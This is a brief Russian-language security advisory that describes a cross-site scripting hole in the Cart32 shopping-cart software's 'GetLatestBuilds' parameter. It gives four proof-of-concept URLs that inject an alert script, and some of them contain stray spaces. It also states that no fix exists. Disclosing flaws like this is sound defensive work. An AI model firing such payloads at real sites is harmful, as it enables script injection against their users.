Межсайтовый скриптинг в Cart32

Описание: Уязвимость в Cart32 в 'GetLatestBuilds' позволяет удаленному пользователю выполнить XSS нападение.

Пример/Эксплоит:

http://vulnerable/scripts/cart32.exe/GetLatestBuilds?cart32=<script>al ert('XSS')</script>
http://vulnerable/scripts/c32web.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>
http://vulnerable/cgi-bin/cart32.exe/GetLatestBuilds?cart3 2=<script>alert('XSS')</script>
http://vulnerable/cgi-bin/c32web.exe/GetLatestBuilds?cart32=<script>alert('XSS')</script>

URL производителя: http://www.cart32.com/products.asp

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.